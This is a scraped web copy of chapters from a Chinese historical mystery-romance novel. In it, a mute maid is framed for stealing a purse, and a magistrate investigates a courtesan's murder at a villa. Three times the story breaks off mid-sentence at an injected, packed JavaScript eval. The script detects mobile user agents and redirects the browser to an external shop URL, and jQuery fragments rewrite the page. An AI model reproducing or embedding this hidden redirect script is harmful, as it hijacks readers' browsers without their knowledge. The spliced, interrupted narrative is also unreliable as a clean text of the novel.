季晚凝静静坐在案前,见棋枰上方摆着两枚黑子,下方摆着三枚白子,纵使她不会弈棋,也知道围棋不是这么下的。
所以他不是在下棋,而是在想事。
季晚凝被勾起了好奇心,他在想什么事?会不会与谶书案有关?那三枚白子看起来好像她的三个仇人一样,并排躺在那里。
这个念头在她心底一闪而过。
这时贺兰珩抬眸看向她,她也正看着他,杏眸中落了一团温润而熠动的烛火。
贺兰珩薄唇轻启,声线低沉:“陈澍下狱后,刑部可曾提审过陈府家眷?”
话音甫落,季晚凝清莹的眸子瞬间就蒙上了一层雾。
就像他之前审问她陈澍案时一样,她眼里的光好似被什么东西吞没了,变成了一种晦暗的平静。
迟滞了须臾后,季晚凝将笔砚取了过来,轻挽袖口,润墨提笔写道:“不甚清楚,陈公下狱的第二日,家父便携我逃出陈府了。”
贺兰珩垂眼看她写字,她的手看起来比前阵子干燥得多,指腹还略有脱皮。
他敛回眸光,微微颔首:“把棋收起来吧。”
季晚凝整理好棋子,起身正要退出去,手背被一片微凉的锦缎拂过,一条修长的手臂横在了她身前。
回眸一望,只见贺兰珩递过来了一只银鎏金蚌形粉盒。
“拿去用吧。”他道。
季晚凝羽睫轻眨,接了过来,双眸又恢复了温润的光泽,她向他福了福身,出了书房。
东义守在门外,看见季晚凝出来时手里拿着个粉盒,颇为眼熟。
他想起昨晚三郎君去找五娘要手膏,被妹妹得意地嘲笑了一番,说“阿兄这么快就反悔了啦?求我我才给你”,贺兰珩站在院里听她喋喋不休半晌,容嫣逗够了才把手膏给他。
当时东义有些诧异,三郎君从来不用手膏,也从没有有求于妹妹的时候,才知原来是给季晚凝的,不过若是让容嫣知道他拿去赏了下人,不知会不会气得鼓起腮帮子。
东义刚要进书房,春彤朝他走了过来,神色别扭道:“她怎么刚来几日就领到赏了,郎君给她的是胭脂吗?”
“手膏而已,”东义息事宁人道,“哪有春彤姐的赏赐好。”
“可她不过是研研墨,院里这么多婢女活干的哪个不比她多,我从没见过谁初来乍到就领赏的。”春彤眯起眼睛,“当真只是研墨?”
“真的,我对天发誓。”东义竖起手指一脸严肃道。
春彤扯了扯嘴角:“方才你又不在房里,你知道什么。”
这边季晚凝回到房里,把粉盒打开来,发现里面装的是手膏。以前她也会自己做简陋的手膏,不过来了长安以后多有不便,就没做了。
她用指腹沾了一点涂在手上抹匀,润滑细腻,捧起双手嗅了嗅,还有清甜的苏合香味道,比她之前做的好上不止半点。
八月的末尾,霜浓露重,整个长安城都仿佛被一层灰霾笼罩。
季晚凝照常早起了半个时辰,去竹林里采露水,采完把壶放回茶室,出来时看见春彤挽着孙嬷嬷进了后衙。
孙嬷嬷把一个布囊交给春彤,嘱咐了几句后径自回屋去了,春彤拎着布囊走进凉亭,一群婢女叽叽喳喳地簇拥在她身边。
“别挤我,我先来的!”
“明明我比你先的!”
春彤坐在石桌边,呵斥道:“都排好,一个个来!又不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164452|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
领不到钱,猴急什么。”
原来今天是发月钱的日子,季晚凝走过去排在了队尾。
婢女们一人领了一吊钱,谈笑风生地从她身边走过。
终于轮到她了,石桌上放着最后一吊钱。
季晚凝伸出手刚要拿起来,春彤抢先一步把钱放回了布囊里。
“不懂规矩?”春彤睨了她一眼。
季晚凝柳眉微蹙看着她,什么规矩?
“你是新来的,第一个月的月钱要上交。”
季晚凝从没听说过这种规矩,无非是找理由扣她的钱罢了。
春彤站起身来,擦着她的肩走过,季晚凝转身正要拦她,边上一个婢女刚点完钱还没走,她扯住季晚凝的袖子,冲她摇了摇头。
府里有些地位高又贪财的奴仆确实会找些名目克扣月钱,而地位低的只能忍气吞声。
春彤遣了一个婢子去给孙嬷嬷煎药,之后回到房里,想起梨穗的话,隐隐担心季晚凝会这把这事捅到贺兰珩那里。
她旁敲侧击地问坐在榻上做绣活的孙嬷嬷:“阿娘,那晚凝是打哪来的?总被三郎君叫去书房,我瞧着不像是个安分的。”
孙嬷嬷自打那次尝过季晚凝煎的茶,就琢磨起了她的身份,只有大户人家或文人雅客才有这手茶艺。
再结合她平日里举手投足间的端凝娴雅,以及三郎君对她身份避而不谈的态度,孙嬷嬷猜测,她不是罪眷就是家道中落的千金。
不过她不会跟旁人说,免得给郎君惹麻烦,尤其是她那个嘴上没个把门的女儿。
孙嬷嬷语重心长道:“咱们下人不好打听郎君的事,郎君怎么编排人也不是咱们能置喙的,他有他的考量。我瞧晚凝除了做饭不擅长外,活干得倒是仔细,人也老实懂事。”
春彤不忿道:“可她三番五次地越过我单独去郎君书房,还无端得了赏,这对让其他婢子不公。”
孙嬷嬷瞪她一眼:“不就是一盒手膏,也值得你放在心上?郎君体恤下人而已。”
春彤撇撇嘴:“今日是一盒手膏,明日就爬到我头上来了。”
话音刚落,外面响起了敲门声,她起身去开门,见季晚凝端着药站在门外。
“怎么是你送来的?放矮几上就出去吧。”春彤略有些诧异,但也没太过心。
季晚凝迈进屋里,把药碗放下,起身刚要出去就跟春彤撞了个满怀。
季晚凝后撤两步抵住了桌角,啪嗒一声,矮几上的布囊掉在了地上,装在里面的那吊钱磕出了清脆的声响。
“你怎么毛手毛脚的!”春彤慌忙捡起布囊,塞进了箱笼里,呵斥道,“快干活去!”
孙嬷嬷望了过来,当即就敏锐地察觉到异样,但她没言语,待季晚凝走后,才铁青着脸对春彤道:“把钱拿出来,给人家还回去。”
春彤躲不过经验老道且眼光精准的母亲,讪讪地把布囊又拿了出来,极不情愿地拖着脚步出去了。
季晚凝回到自己房间门口,刚要推门进去,突然有只手从后面拽了一把她的衣袖,一只荷包应声掉在了地上。
春彤低头一看,是自己的荷包掉了,弯腰捡起来塞回袖管里,然后把手里那吊钱递给季晚凝,瓮声瓮气地道:“你的月钱。”
季晚凝弯了弯嘴角,接了过来,既然已经拿回了自己的东西,这事儿就翻篇了,她不想跟春彤闹得太僵,面子上总得过得去,毕竟还有两年要处。
14. 冤枉
晌午过后,贺兰珩来到刑部,吴道坤刚从宫中议事回来,见他已经到了,笑着迎了上来。
吴道坤年近半百,但看起来只有四十不到,皮肤十分光滑,头骨生得浑圆,天庭饱满,鼻若悬胆,望之俨然。
据说他当年会试名次平平,但因为面相生得好,殿试时得了天子青眼,一路扶摇直上。
他引着贺兰珩往监牢方向走,道:“陈澍的卷宗找到了吗?”
“找到了。”贺兰珩道。
吴道坤状似随意道:“上回没顾得上问谦晔,谶书案和陈澍之间有什么联系吗,你为何来询问我陈澍的案子?”
贺兰珩眸光轻扫过他,嘴角牵起一抹意味深长的笑,淡然道:“不过是下官的直觉罢了。”
“要不怎么说贺兰卿独受圣人器重呢,办案如此机敏洞察又高效,大理卿一职非你不可。”吴道坤朗声笑道。
说话间,两人走进了刑部大牢的值房,吴道坤遣人把狱丞全部召集了过来。
四名高矮胖瘦不一的狱丞垂手侍立,排成一排站在房间中央。
吴道坤看向贺兰珩:“你说大理寺的狱丞不守规矩、驭下不严,我这些狱丞都在刑部当差很多年了,你自行挑一个吧。”
贺兰珩打量了下这四人,挨个略作问询,末了,将目光停在了一个身材壮硕、鹰鼻鹞眼的狱丞身上,看着格外干练果决。
“你叫什么?”
“下官袁大,见过贺兰大理。”袁大出列,躬身行了个叉手礼。
贺兰珩微微颔首:“你往后就来大理寺跟着本官做事。”
“喏。”袁大应声领命。
一旁的吴道坤见状,浓重的虎眉几不可察地动了一下,转瞬又恢复如常,意有所指地笑道:“谦晔好眼光,袁狱丞掌管邢狱颇俱经验,确是哥得力的好手。”
贺兰珩恍若未觉,只彬彬有礼地一揖:“如此,那便多谢吴尚书割爱了。”
自小六入狱后,他的狱丞姐夫也被贺兰珩摘了官帽,断眉被提拔为牢头。现在狱丞还差个人,袁大顶上了原先的位置。
贺兰珩回到大理寺,把袁大安排妥当,晚上在后衙用了晡食,之后照例来到书房。
春彤端茶进来,将漆盘放在桌案上,斟上茶后就杵在那里不动,一副欲言又止的模样。
贺兰珩垂眸看着案牍,挥手示意她退下。春彤紧紧抿了下唇,开口道:“郎君,奴婢有事要禀。”
“说吧。”贺兰珩头也没抬。
“今日刚刚发了月钱,奴婢把钱放在荷包里了,谁想……”她越说语气越委屈,“谁想晚凝来房里送药,撞了一下奴婢,等她回屋后奴婢便发现荷包不见了。”
春彤说罢,见贺兰珩沉默,便一下跪在地上,泪珠在眼眶里打转儿:“求郎君为奴婢做主。”
贺兰珩微微抬眸,往常府里下人勾心斗角都是孙嬷嬷来管,他不想把精力放在这些庶务上。
他刚想打发春彤去找孙嬷嬷处理,话到嘴边顿了一下,对东义道:“去把季晚凝叫来。”
季晚凝正在收拾厨房,见东义急匆匆地跑来找她,还以为贺兰珩让她去侍候笔墨,就放下手里的伙计跟着他来到了书房。
一进门,就见春彤跪在贺兰珩案前抽泣,她也不知发生了什么,走上前来站在一旁。
贺兰珩放下案牍,看着季晚凝:“春彤说你摸了她的荷包,可有此事?”
季晚凝一头雾水地摇了摇头。
春彤回头望向她:“白日你明明撞了我,顺手牵走了我的荷包,我阿娘可以作证,想必荷包还在你那儿,去你屋里瞧瞧便知。”
白日里季晚凝亲眼看见她的荷包掉在地上,马上就捡起来了,于是不置可否,想着去屋里瞧一眼也好,正好能证明自己的清白。
贺兰珩起身道:“那便去看看吧。”
春彤闻言抹了把泪站起身来,话不多说,几个人来到季晚凝房外,春彤一个箭步冲进屋左翻右找。
下人房狭小,贺兰珩只站在门口看着。
房里清简,没什么物什,春彤翻箱倒柜找了一会儿,从季晚凝的行囊里搜出了一只藕粉色绣雀鸟的荷包。
她打开荷包,把里面的钱和钥匙倒出来点了点,不多不少两吊钱,她的月钱比别人多一倍。
春彤举起荷包喊道:“郎君,正是奴婢的荷包,果真是晚凝偷的!”
季晚凝冷眼看着她破涕而笑的样子,不由感叹她演技精湛。
贺兰珩抬步迈进屋,停在季晚凝身旁,一语不发,微微侧头望着她。
季晚凝察觉到他锐利的视线,低下头来捏紧了手里的绣帕。
上午她确实趁着给孙嬷嬷端茶之际撞了下春彤,不仅撞掉了案上的布囊,讨回了她的月钱,还顺手摸走了春彤的荷包。
季晚凝原想拓一下角门钥匙再悄悄还回去,可还没等她回屋,就被春彤拽了一把,荷包掉了出来,险些露馅。
但她没有偷钱,春彤却借机诬蔑她。下人房一向不上锁,春彤趁没人的时候潜进来,把荷包藏在她屋里是轻而易举的事。
季晚凝环顾四周,竟找不到能证明春彤诬陷她的证据,屋里的脚印和指印都在春彤闯进来的时候被破坏了,况且她给自己作证也显然没有说服力。
她敛眸沉思了片刻,贺兰珩是大理卿,以他的手段,可以轻易地识破她的谎言,断不能拆穿不了春彤的把戏,他总不会冤枉了自己。
思及此,季晚凝定了定心,走到桌案边提笔写道:“君为大理卿,明察秋毫,断案如神,定能换我清白。”
她放下笔,仰面望向贺兰珩,长睫扑簌,眸中秋水盈盈,透着几分无辜,望之惹人生怜。
贺兰珩眼睑半垂,神色沉了几分,凤眸幽黑,嘴角挂着漠然。
给他戴高帽子,可惜他不吃这套。
面前这个对着自己花样百出的女郎,却被区区一个小婢难倒,原是他高看了她。
房间里空气有些凝滞,春彤的目光紧抓着贺兰珩不放,见他迟迟不表态,双膝再次砸在了地上。
“郎君,晚凝品行不端,初来乍到便屡屡生事,不宜再留她,免得日后惹更大的麻烦。”
贺兰珩将视线从季晚凝带着期许的脸上缓缓收回,沉声道:“证据确凿,罚以后月钱减半。”
季晚凝倏地怔住,一字一句落在耳里,就像一块块坚石砸进在心甸,一股酸涩涌进了眼眶,又被她生生咽了下去。
春彤埋着头,翘起眼尾瞄了季晚凝一眼,伏在地上磕了一头:“郎君明断!”
贺兰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164453|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珩眉宇沉凝,拂袖出了屋子,春彤赶忙从地上爬起来追了出去。
房中沉寂下来,留下一地狼藉。
季晚凝坐在床榻上,慢吞吞地整理着被翻乱的行囊。
起初她不太在意春彤盛气凌人的态度,这十年来她寄人篱下,又无权势,少不得伏低做小,横竖也不会掉块肉,可若触及了她的底线,她就无法一再忍让。
父亲曾说,人的名誉就如一袭白袍,一旦染上污浊,就很难再洗净,所以一定要珍爱自己的羽毛。
如今她的白袍无端被泼了脏水,当然也少不了贺兰珩的冤枉,堂堂大理卿断错案,连这种拙劣的伎俩都能蒙骗过他,现在他在她心里从老狐狸变成了蠢狐狸。
罚她别的也就罢了,可偏偏罚她的钱。
先前季晚凝还想着能多攒些钱,两年后恢复了自由之身好在长安有个落脚之地,恐怕也要落空了。
沉绵的墨云笼着秋月,院里凉风习习,浮灯点点,将贺兰珩修长而朦胧的影子铺陈在地上。
春彤跟在他身后,虽然这次没成功把季晚凝撵走,但郎君已与她产生了嫌隙,想来她日后再难得宠了,她的目的已经达到。
春彤心里格外畅快,上前两步,恭敬道:“多谢郎君为奴婢做主,奴婢去给郎君熬了一碗安神羹吧。”
地上移动的长影突然顿住了,贺兰珩微微侧身,冷峻的眼风刮过她:“从明日起,你便回府去小厨房打下手,后衙的事若敢跟旁人提起半句,仔细你的舌头。”
言讫,他一振袍袖,阔步走远了。
这番话就像掐住了春彤的喉咙一般,方才的喜色一扫而光,懵怔在原地。
这回春彤的眼泪是真的掉了出来,却无人观赏。
……
翌日季晚凝发现春彤没来后衙,感到有些奇怪,她给孙嬷嬷煎了药端过去,借机打探一番。
孙嬷嬷见到季晚凝,变得一副冷眉冷眼的样子,只嗯了一声把药接过来。
昨晚春彤抹着泪回到房里,孙嬷嬷问她什么事她也不说,只埋怨三郎君偏袒季晚凝,把她罚到小厨房当差。
孙嬷嬷便猜想季晚凝把春彤扣她月钱的事告状告到郎君那里了,昨日女儿明明已经把钱还给她了,她还这么不依不饶是不像话,是以见到她自然没好脸色。
不过孙嬷嬷为人算得上正直,不会因此刁难季晚凝,更不会背后搞事。
接连几日,季晚凝都没见到春彤人影,基本确定她不会再回来了,后衙消停了不少。
贺兰珩也一直没回后衙,季晚凝反正不想看见他,乐得自在,竹露也没再采过了,每日还能多睡会儿觉。
梨穗取代了春彤的位置,成了婢女之首。
她闲坐在凉亭里,捻起盘里的一颗饴糖放进嘴里,旁边的婢女道:“咦?梨穗姐今日怎地不嗑瓜子了?”
梨穗唇角微翘,心里冷嗤,从前不过是陪着春彤磕瓜子而已,而今终于不用再看她眼色了。
她刚来时,也曾被春彤克扣月钱,被罚洗衣服,般般刁难之下,她不得不阿谀取容。
季晚凝来之后,终于叫她找到了机会,从中挑拨,隔岸观火,见两败俱伤,自己坐享其成。
梨穗眼珠一滑,声音娇懒:“总嗑瓜子会把牙磕坏的。”
15. 别墅
转眼来到了重阳节,这日碧穹清朗,遍地金黄。
贺兰府的下人们一大早就在忙活,把茱萸酒从酒窖里拿出来,厨房里做着羊肉面和菊花糕,香气扑鼻,水桶里还扑腾着快马加鞭运来的螃蟹。
今日贺兰珩休沐在家,甫一睁眼,就听外面吵吵闹闹的。
他起身下榻,梳整过衣冠,推门看见东义和北苍正拦着一个风尘仆仆的长随。
贺兰珩认出他是靳然的人。
“我家郎君愁得一宿没睡,特遣我来请贺兰大理,劳烦帮我通报一下。”长随喘着粗气,焦急地恳求道。
东义眉头快皱成了“川”字,为难道:“郎君好不容易休沐一日,咱们下人哪里敢扰郎君清幽,等郎君醒了再说……”
“什么事?”贺兰珩打断了二人。
那长随一见到他急忙上前,将昨夜里的事一五一十地讲给他。
贺兰珩听罢直截了当道:“东义,套车去城南。”
今日重阳节,连仵作和捕吏也都去登高祭祀了,人手不够,贺兰珩点了十来个府里得力的侍卫,率着人登上了马车。
昨晚,靳然去军器监丞杜耀安的别墅赴宴,杜耀安请了平康坊的一个青楼乐班前来助兴,谁想花魁突然被害,横尸房中。
杜耀安想赔点儿钱息事宁人,领班的苏娘不乐意了,她知道靳然和贺兰珩有交情,便求他请大理卿来查案。
靳然是长安城里有名的纨绔,苏娘平日眼观六路耳听八方,这些权贵谁和谁走得近,谁和谁不对付,都摸得一清二楚。
靳然当即拒绝了苏娘,他可不想掺和进去。
这苏娘最懂男人心,她顿时心生一计,不多时,一个娇娇怯怯、袅袅婷婷的女郎姗然走来。
女郎跪伏在靳然面前,婉转陈词:“素儿久闻靳四郎大名,长安城中谁不知道四郎风流倜傥,为人侠义,令素儿仰慕不已。榴香乃是妾身的姐妹,如今不知被何人所害,死不瞑目……”
靳然见她玉手拭泪,纤弱娇楚,姿容竟更胜那花魁一筹,后面的话便一个字也没听进去了。
这时一个尖脸歌伎急冲冲过来,指着素儿骂道:“你和榴香同室,方才只有你去寻她,分明是你杀了她!四郎可别被她的花言巧语骗了去!”
“妾身素来将榴香当作亲姐姐一般,怎可能害她……”素儿说着又泫然欲泣。
靳然于心不忍,安抚她道:“我应下了。明早待城门一开,我便去请大理卿过来。”
随即他肃容对杜家管事道:“把院门锁起来,任何人不得出入,派仆从看守尸身,闲人不得靠近!”
杜耀安因着忌惮他父亲靳长恺,不敢得罪,只得苦着脸命人照办。
……
季晚凝一觉睡到辰时才悠然转醒,懒倦地舒展了下身子,缓缓下榻,趿着绣鞋推开窗望了一眼,后衙里空无一人,终于可以偷个闲了。
她随手倒了杯案上的剩茶,凉透的茶汤带着隔夜的苦涩,刚喝两口她就放下了。
她出了房间去茶室取来水壶,打算采些新鲜的竹露自煎自饮,然后在凉亭里赏赏荷花。
竹林间薄雾弥漫,季晚凝穿着那件半旧的梅花襦裙,捧着银壶小心翼翼地承接竹叶上的露水。
她没察觉,一个身影穿过后衙,驻足在林外。
贺兰珩望着竹影中那个纤长秀逸的侧影,晨辉如织,穿过竹林的缝隙洒在她身上,浮光缕缕,将她整个人镀上了暖金色的线条。
他喉间轻轻一动,迟疑了一下,最终没出声打扰她。
他忽地想起自从她来了以后,茶水便微妙地添了几分清冽甘甜,却不知是竹露的清香,更不知原来她每日都这般采露煎茶。
季晚凝轻巧地在竹林间徘徊,蓦然回首,看见贺兰珩就在不远处看着她,一身轻华衣袍,长身玉立,广袖随风轻轻拂动。
她抿了抿唇,今日过节,他也没穿官服,来后衙做什么?
季晚凝瞬时失了兴致,移开目光,装作没看见,提起裙角转身想绕道走开。
“季晚凝。”
他沉越的声音穿过静谧的竹林,叫住了她。
季晚凝身子一滞,知道躲不过去了,只得缓步走上前来,贺兰珩垂眸看她一眼,抬脚往书房走去。
季晚凝跟着他迈进书房,把银壶放在了案上,贺兰珩解下腰间的算袋交到她手里,道:“随我去城南查案。”
季晚凝神色淡淡,从算袋里拿出笔墨,不疾不徐地坐下来,润了润墨,提笔写道:“君既认为我是贼,又何故让我去抓贼。”
贺兰珩的目光从她的字迹移到她低垂的眉眼上,看来她还在生他的气呢,脾气不小。
他言简意赅道:“有赏。”
短短两个字让季晚凝心意微动,她仰头看了他一眼,稍作迟疑后又低头写道:“什么赏?”
“时间紧迫,到了再议。”
说罢他从箱柜里找出了一顶帷帽递给她。
季晚凝轻轻瞟了一眼,没接。
谁知他的话有几分可信,若他不能将扣她的月钱补上,只给点蝇头小利,她岂不是亏了。
她捏了捏笔杆,转念又想,办案是公事,不能因私废公,听他的口吻不能耽搁,而且她已经一个月没踏出过后衙半步,趁这个机会出门倒也不错。
贺兰珩的手还伸在她面前,季晚凝搁下笔,将帷帽接过来戴在头上,有些大,是男子骑马用的,如今已经不时兴帷帽了,她有些不习惯,不过为了遮掩身份不得不戴。
两人从角门出去,马车就静候在门外。
长随和侍卫们骑马,贺兰珩坐马车,季晚凝不会骑马,便也上了车,坐在他对面。
去城南需将近一个时辰的路程,车马刻不容缓地启程了。
季晚凝将帷帽的网纱悄悄拨开,见贺兰珩阖着眼,身姿俊拔如松,右手握着剑柄,稳稳地竖直支在锦毡上。
她摘下帷帽放在一边,轻倚着车窗,撩开帷幔向外张望。
秋光澄丽,车轮辚辚,碾着银杏叶驶入朱雀大街,街头飘着茱萸的淡香。
离开京师十年,长安城于她而言若熟稔之梦,看似熟悉,实则陌生。
朱雀大街上王公贵族的朱门堂皇地对着街面,碧瓦飞檐鳞次栉比,隐约能嗅见院落里焙菊的香味。
驶过安业坊时,一扇格外显眼的朱漆大门闯入视线,高悬的牌匾上题着大大的两个金字——宋府。
季晚凝眸底一闪,徒然挺起腰身,伸长脖颈探出了窗外。
宋府巍峨的门首蹲踞着两尊石兽,逾过高墙能看见府中一派峥嵘,正是当今左相宋熙的府邸。
再往前行,毗邻在其南侧的那户人家,大门的朱漆已剥落殆尽,匾额也被摘掉了,砖墙上布满了斑痕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164454|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,檐上的瓦片亦是残缺不堪,蒿草肆意地从缝隙中钻出来,尽显萧索。
数丈之隔的两户宅第,仿若云泥之别,令人唏嘘。
这处空空如也的破败门馆,便是昔日御史大夫陈澍的宅邸,院里曾住着季晚凝的阿耶阿娘、阿兄阿姊,以及她自己。
往昔阖家欢颜之所,如今已成残垣断壁。
季晚凝的双眸不知不觉地蒙上了一层水雾,眼前的景致渐渐模糊。她不敢眨眼,生怕泪珠滚落下来。
街头巷尾彩绸飘舞,热闹非凡。此时家家户户已陆续从坊中出来,孩童们提着纸鸢从眼前跑过,欢声笑语。
儿时每逢重阳节,父亲母亲也会带着她去插茱萸、赏菊花,登高望远,其乐融融。
季晚凝不动声色地扯了扯金缕车幔,遮住湿润的双眼,却浑然未觉一道深邃如墨的视线隔着半透的帷帘,注在她的脸上。
半晌后,贺兰珩侧过头来,又闭上了双眼。
越往南去,窗外的人烟愈发稀少,景致优美,许多达官显贵在这里置办别墅。
远方起伏的山峦上,染成赤红色的枫林与灿然的金枝槐交错,层叠绮绣,宛如一幅天然的织锦。
杜耀安已在门外等候多时,只见一队骑马的侍卫踏着红叶来到近前,紧随其后的是辚辚的车轮声,一辆四骑鎏金马车缓缓停了下来。
杜耀安无需问来者何人,忙命家仆将大门敞开,自己朝着马车迎了上去。
贺兰珩甫一下车,他便行揖而上,恭敬道:“杜某恭候贺兰卿多时,久仰……”
“杜监丞不必多礼。”贺兰珩打断了他,“本官来此办案多有叨扰,烦请带路吧。”
季晚凝戴上帷帽,跳下了车,随着一行人走进宅院。
靳然正坐在厅堂里,见贺兰珩来了,站起身来唤他。
贺兰珩看他眼底一片乌青,却不掩倜傥,穿着蹙金麒麟翡翠色锦袍,腰间缀一葵花青玉佩,周身残香缭绕。
“去看看尸首。”贺兰珩开门见山道。
“就在后院,随我来。”
靳然领着他们穿过数道门扉,来到后院的一间客房,命站岗的仆从打开房门。
贺兰珩让其他人在外等候,他只身进了屋。
尸身仰躺在床上,贺兰珩掀开盖在她脸上的白布,看相貌不到二十。
死者面部涨紫,颈部有明显的勒沟,显然是被勒死的,而凶器就是她颈间缠绕的那条长长的帔帛。
贺兰珩把尸身翻过来,撩开衣衫查看,尸斑集中在后背,可以肯定榴香是躺在床上时被人袭击的,而屋里没有强烈反抗的痕迹,很有可能是熟人所为,但也不能完全排除生人。
若仅如此,就是桩寻常的案子,可诡异之处在于,榴香被削去了一只耳朵。
用来割耳的刀就扔在床榻上,是常见的样式,一把不到三寸长的木柄小刀,经比对刀锋和耳朵的切痕吻合。
贺兰珩翻遍了房间,也没找到那只耳朵。
据杜耀安所述,这名叫榴香的歌伎因来了月信身体不适,提前离席回房休息,两刻钟后,与她同房的一个叫做素儿的歌伎去寻她,这才发现她遇害了。
在这两刻钟的时间里,杜耀安和贵客们以及乐班都在前堂里酣歌纵酒,相互可以作证,是以众人一致认为素儿就是凶犯。
她现在被单独关在一间耳房里。
16. 素儿
贺兰珩来到耳房,房里除了少许杂物外什么也没有,素儿闷头坐在小杌子上。
见官府来人了,她马上站起来福身:“妾身见过大理卿。”
“把昨晚的经过详陈一遍。”贺兰珩道。
素儿道:“榴香每次月信都疼得厉害,昨晚她回房后,妾出于担心想去看看她,推门进去后堪堪点上灯,就见榴香躺在床上一动不动,妾上前推她,身子尚有余温,却已没了气息。”
“屋里的东西你可曾动过?有没有见过她被割掉的耳朵?”贺兰珩问。
“不曾,妾当时吓坏了,马上就跑回前堂叫人了。”
“你们这个乐班常来杜家别墅?”
“妾是头一回来,榴香近来与杜郎相好,她说他正打算为自己赎身。”
贺兰珩问完话后便命北苍带着侍卫去院子里搜寻那只耳朵。
走出耳房,苏娘正堵在门口,拿着帕子向他哭诉:“贺兰大理,素儿与榴香向来亲得跟姐妹似的,要说素儿杀了她,妾身是万万不信的!”
杜耀安在一旁沉着脸道:“并非没有可能,榴香曾与我说过,素儿曾在青楼里见过我几回,心悦于我。榴香担心她与自己相争,求我早点将她赎出去。谁想我晚了一步,竟害她至此……”
苏娘回头看了一眼他的脸,不敢明言,暗中啐了一口。
这时那尖脸歌伎插话道:“贺兰大理有所不知,这素儿来路不明,几个月前被卖到我们镜花楼,假母见她有点姿色,只要三十贯,便乐呵呵地收下了。
“后来越想越觉着不对劲,她自称家中欠了债,走投无路才卖身,可她来时带着把琵琶,看起来不是普通货色。
“把琴卖了足够她开间铺子谋口饭吃,何至于沦落风尘?加之她这几个月来得罪了好几位熟客,假母便怀疑她是隔壁惊鸿楼派来的细作,之前惊鸿楼就使过这种龌龊手段。
“于是假母让妾身多盯着她些,奈何妾办事不力,榴香这棵摇钱树没了,惊鸿楼不知该有多得意!”
杜耀安听了这番说辞立马搭腔:“杜某不知还有此等隐情,请贺兰卿明察,将素儿绳之以法!”
贺兰珩轻蔑地扫了他一眼,此人长得蛇头蛙眼,才三十岁上下却一副老态。
“本官知道了,劳烦杜监丞将所有宾客、乐班、家丁全部都召集到前堂去。”
“其他的好办,可那几位贵客从一大早就喊着要回城。”杜耀安踌躇道。
“不论是谁,待本官录问过证词才可放人。否则一旦漏掉了重要线索,放走嫌犯,杜监丞你一人担待得起吗?”
杜耀安听了脸上红一阵白一阵,只好依言安排下去。
贺兰珩又来到榴香屋里,也是素儿的屋子,琴案上放着一把螺钿紫檀琵琶,一看就不是凡品,应当就是刚才歌伎所说的那把。
他上下检查了一遍,琴端用小篆刻着“夙心”字样,背面又刻有一行诗:“空藏兰蕙心,不忍琴中说。”
“啧,什么酸诗。”靳然走到他身边探头道。
贺兰珩没空理睬他,放下琴折回了耳房,素儿还坐在小杌子上,他道:“方才门外的话你可听见了?”
素儿点头,语气焦灼:“妾从未心悦过杜郎,也绝不是什么细作。”
“那你所说的身世是真是假?”
素儿垂下头,目光闪躲,喃喃道:“是真……”
贺兰珩沉声道:“想好了再说,若你证词作假,难保弄巧成拙害了自己。”
她抬起头,声音微微发颤:“贺兰卿,妾真的没有杀榴香……”
“屋里那把琵琶可是你的?”
“是。”
“是你从家里带出来的?”
素儿的声音低若蚊呐:“是从前的客人所赠。”
“何人?”
素儿脸颊泛起一抹躁红,手指紧紧撵着袖口,支支吾吾地不不肯说。
在门外偷听的靳然忽然跨步进来,冲着她道:“有什么难言之隐比你的清白还重要!”
素儿被他这么厉声一吼,更加局促不安,埋下头来。
贺兰珩横了他一眼,道:“你去前厅看着宾客和家丁,询问下昨晚的情况。”
靳然也意识到自己的失态,应了一声转身出去了。
一俟他走了,素儿突然开口道:“若是妾说出实情,贺兰大理能否保证不去打探真假?”
……
季晚凝和东义在院子的角落里候命,方才她把案情听了个七七八八,大概了解了。
这时贺兰珩出了耳房,朝她走来,低声交代了几句,随后带着她回到耳房,对素儿道:“你有什么不便,可以对本官的婢女说。”
贺兰珩看了眼一旁的季晚凝,道:“她哑而不聋,亦不识字。待会儿她从房里出来,只用点头或摇头来告诉本官你的身世与此案是否有关。”
素儿点了点头,既然自己提出了如此矛盾的要求,也只有这个法子可行了。
贺兰珩关上门,只留她们二人在屋里。
季晚凝搬了个杌子在素儿对面坐下,透过帷帽的纱网看着她。
素儿一双美目流转,眉黛间怀着犹疑,欲言又止。
季晚凝耐心地等待她放下戒心。
突然,她的小腿被重重踹了一记,她咬住嘴唇,俯下身去捂住痛处。
素儿收回腿,慌忙蹲下身来检查她的伤,见无大碍,满脸歉意道:“实在对不住娘子,我方才想试探下娘子是不是真哑,才出此下策。”
季晚凝苦笑着冲她摇了摇头。
素儿确认了她是真哑,这才放心地坐回了原处,娓娓道来。
